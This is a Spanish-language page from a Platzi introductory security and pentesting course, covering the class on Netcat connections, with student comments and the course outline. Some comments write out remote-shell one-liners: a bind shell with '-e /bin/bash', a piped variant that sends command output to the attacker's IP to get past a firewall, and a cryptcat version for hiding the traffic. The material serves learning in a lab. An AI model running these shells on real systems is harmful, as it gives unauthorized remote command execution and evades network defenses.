Establecer conexiones con Netcat

Clase 33 de 67 • Introducción a la Seguridad Informática 2017

Clase anteriorSiguiente clase

Resumen

Vamos a hacer una comunicación cliente servidor con Netcat

Ricardo Verónica Duran

student•

Esto si esta confuso, a estudiar para comprenderlo.

Ricardo Verónica Duran

student•

Aquí encontré un ejemplo que ayuda a comprender más el tema.

https://www.youtube.com/watch?v=lFBBguPr1Pc&t=763s

Ricardo Verónica Duran

student•

Como instalar el netcat que tiene la bandera -e

https://www.youtube.com/watch?v=xjB2nBwzzTk&t=9s

Jairo Ramirez Castaño

student•

Después del minuto 9:32 abre dos puertos haciendo birfucacion con tal de despistar al firewall, pero cual de los dos puertos es el que detectaría el firewall?

Nicolás Díaz

student•

Detecta los dos, pero no se da cuenta que hay informacion pasando hacia el mismo host desitno, al pensar que son conexiones diferentes no se interpone.

Cristhian Alejandro Morales Herrera

student•

No entiendo porque al ejecutar nc -l -v -p 8080 | /bin/bash | nc -l -v -p 9090 al escribir algo desde el “servidor”, solo el cliente 8080 lo recibe y no también el cliente 9090???

William Reaño Reyes

student•

lo hace mediante tuberias primero habilita el puerto 8080 cuando el cliente se conecte a ese puerto lo manda a la siguiente tuberia que sera tendra acceso a bash y no le llega lo que le mandes al servidor porque solo lo que el cliente conectado al puerto 8080 envie mediante bash eso si le llegara al cliente que se conecte al puerto 9090

Orlando Andrés Delgado Bolívar

student•

-c shell comandos similar a parametro `-e’
-e fichero programa para ejecutar despues de establecer la conexión
-k set keepalive option on socket
-l modo “listen”, para conexiones entrantes
-n solo direcciones ip, sin resolución de nombres
-o file volcado hexadecimal del tráfico
-p port puerto local a utilizar
-r puerto local aleatorio
-q secs pausar y salir despues de unos segundos tras recibir una señal de EOF
-s addr direccion local de origen
-T tos configura el “Type Of Service”
-t responder a la negociación TELNET
-u modo UDP
-v modo verbose [usar -vv para mayor verbose]
-w secs timeout para las conexiones y finalizar las escuchas de red
-z modo zero-I/O [utilizado para técnicas de scanning]

Lucas Antognini

student•

En vez de escuchar en dos puertos en el ‘Servidor’ podemos escuchar en uno solo, usar una tuberia para ejecutar comandos y enviarle el output por otra tuberia a nuestra maquina en otro puerto conectandonos a ella (menos probable que el firewall bloquee una conexión nuestra)

Server:
nc -l -vv -p 8080 | /bin/bash | nc tuip 9090

Atacante conexión 1:
nc ipservidor 8080

Atacante conexión 2:
nc -l -vv -p 9090

Alexander Limaie Roman Guerra

student•

Esto lo vi en el ejercicio de @woakas de Administracion de Servidores Linux !!!

Damian Spizzirri

student•

El -e no me lo reconoce. Que NetCat esta usando???

Alfonso Adame Rueda

student•

excelente clase

Dani Quintilla Ruiperez

student•

En que maquina ejecutas el primer comando para abrir el puerto? en la vistual o en el host?

Diego Forero

Team Platzi•

Lo puedes hacer en cualquiera de las dos, por eso luego usa nc 127.0.0.1 8080 en la maquina donde corras el primer comando debes ejecutar el segundo, también puedes ejecutar el primer comando en la virtual y con la ip de esa maquina virtual usar nc <ip virtual> 8080 te vas a poder conectar.

diego rodriguez

student•

díganme enserio si le entiendes a este “maestro” yo no le entiendo niun carajo

Jairo andres padilla julio

student•

Saludos Diego, este materia te servira para apoyar https://blog.desdelinux.net/usando-netcat-algunos-comandos-practicos/

Gabriel Díaz

student•

Bueno, la verdad yo si le estoy entendiendo, pero quizás es porque ya tengo cierta relacion con la materia. y con la terminal he estado trabajando mucho.

Tal vez debas conocer algo sobre la terminal y linux (si es el caso que no estés muy familiarizado) si no, podria ser que para ti la mejor forma de aprender sea otra (leyendo por ejemplo) y por eso no le entiendes.

Damir Recinos

student•

exelente video

Miguel Marín

student•

Netcat (nc): Herramienta de red que permite a través de intérprete de comandos abrir puertos TCP/UDP.
Comandos utilizados en el vídeo.
nc -l -v -p 8080 abrir un servidor.
nc 127.0.0.1 8080 cliente conectando al servidor.
nc -l -u -v -p 8080 abrir un puerto udp.

nc -l -v -p 8080 > “archivo” lo que recibe el servidor lo guardara en este archivo.
nc 127.0.0.1 8080 < sos-group.key el cliente envía un archivo. Este último ejemplo puede hacerse a la inversa.

nc -l -v -p 8080 -e /bin/bash puede hacer que se usen comandos.
nc -l -v -p 8080 |/bin/bash|nc -l -v -p 9090. Conectas el cliente y así podemos hacer una bifurcación. El puerto 8080 lo que hace uso de comandos y los devuelve por el puerto 90.

Cryptcat: Herramienta que nos permite ocultar la comunicación realizada al abrir puertos TCP/UDP.
Ejemplo:
cryptcat -l -v -p 8080 | /bin/bash | cryptcat -l -v p 9090
cryptcat 127.0.0.1 8080
cryptcat 127.0.0.1 9090

Emmanuel Olguin

student•

cuando pongo el comando nc 127.0.0.1 8080 me responde: (UNKNOWN) [127.0.0.1] 8080 (http-alt) : Connection refused. Alguien sabe porque?

Diego Forero

Team Platzi•

No tienes abierto el puerto 8080 o no hay nada usando ese puerto al que netcat se pueda conectar.

Emmanuel Olguin

student•

Si lo abrí, abri dos terminales y el puerto si me dice que esta escuchando, pero desde la otra terminal cuando intento establecer conexcion no me lo permite, no se si tiene que ver que estoy en la misma computadora

Bryan Sanchez

student•

No se a donde esta llegando el archivo que recibe una carpeta coko que esta donde?

Cristhian Alejandro Morales Herrera

student•

no estoy seguro de entender tu pregunta, pero creo que la respuesta sería:
Depende desde donde ejecutes el comando nc -l -v -p 8080 > archivo, si estás en Home, lo guarda en Home, si estas en Downloads, lo guarda en Downloads. Además, al ejecutar el comando, le puedes poner la ruta completa de donde quieres guardar la información recibida: nc -l -v -p 8080 > ~/Documents/archivo.txt

Francisco Escobar

student•

Hola…como puedo mantener el que esta en listen…se mantenga así…ya que cuando me conecto y boto la conexión el que esta listen me cierra la conexión…

Omar Lozano

student•

He estado mirando y aparentemente es con el flag -k que mantiene el listening el sevidor.
Pero en la documentación de nc no veo ese flag 😦

Arturo González Bencomo

student•

Una pregunta, como se compara netcat y cryptcat con socat ?

Alexander Limaie Roman Guerra

student•

Tengo unas preguntas:
¿Esas conexiones dejan log?
¿Como puedo anonimizar esas conexiones?

Orlando Andrés Delgado Bolívar

student•

-l: Indica que Netcat abre el puerto para Escucha (Listen): Acepta una única conexión de un Cliente y se cierra.
-p: Especifica el puerto
-k: Fuerza a que el puerto permanezca abierto tras haber recibido una Conexión. Se usa con el parámetro -l y permite infinitas Conexiones.
-u: El puerto abierto se abre como UDP, en vez de TCP que es la opción por default.
-v: Muestra información de la conexión.
-t: Las respuestas son compatibles para sesiones de Telnet.
-q segundos: Tras haber recibido el EOF de la Entrada de datos, espera los segundos indicados para enviarla.
-i segundos: Especifica un delay (retraso) de tiempo para el envío o recepción de las líneas de texto.

Josué Isaac Fuentes López

student•

bifurcacion

John Alexander Chicaiza

student•

Cryptcat considero es muy bueno debido a la robustez de su calve simétrica, pero puede no ser tan seguro como parece debido a que el método que usa para encriptar tanto el emisor como el receptor deben conocer la clave y con el tiempo puede ser un problema.

Establecer conexiones con Netcat

Introducción al curso

Bienvenido al curso

Introducción a la Seguridad Informática y PenTesting

Introducción al pentesting

Conceptos fundamentales de seguridad informática

Kali Linux

Introducción a Kali Linux

Configurar interfaces de red y servicios en Kali Linux

Configuración del laboratorio de pruebas

Instalación del laboratorio en VirtualBox

Conceptos y configuración laboratorio de pruebas

Desplegar Kali Linux en Docker

Instalar máquinas vulnerables para pruebas

Comandos esenciales

Comandos esenciales de bash

Introducción a GNU/Linux

Comandos con patrones en bash

Comando de búsqueda y compresión en bash

Redirecciones y tuberías en bash

Simple Bash Scripting

Variables en bash

Interactividad en bash

Sustitución en bash

Control de flujo en bash

Condicionales en bash

Casos en bash

Ciclos en bash

Funciones en bash

Redes

Modelos OSI de ISO

Modelo TCP/IP

Protocolo Internet - IP

Protocolos de enrutamiento y direccionamiento

Protocolos de resolución de direcciones ARP

Mensajes de error y control en IP - ICMP

Protocolo de datagrama de usuario - UDP

Protocolo de control de transmisión - TCP

La interfaz socket

Sistema de nombre de dominio - DNS

Herramientas Esenciales

Establecer conexiones con Netcat

Escaneo de trafico en la red con Wireshark

Escaneo de trafico en la red con Tcpdump

¿Cómo funcionan los túneles SSH?

Redirección de puertos y túneles

Conexiones seguras con Proxychains

Information Gathering

Information Gathering y Footprinting

Whois

Maltego

Netcraft

HTTrack

Fierce

MetaGooFil

Dmitry

Escaneo de Puertos con nmap

Escaneo de puertos con Unicornscan

Email Harvesting

Enumeración DNS

Enumeración NetBIOS

Enumeración SNMP

Enumeración LDAP

Enumeración NTP

Enumeración SMTP

Automatización con scripts

Escaneo de vulnerabilidades

Pruebas Básicas de Penetración de Red

Ataque de intermediario ARP

Spoofing de DNS

SSLstrip

Pruebas Penetración de Red Externa

Infiltración desde una red externa

Cierre

Conclusiones

Contenido bonus

Introducción vim

Dudas frecuentes

Desafíos

Añadir herramienta al script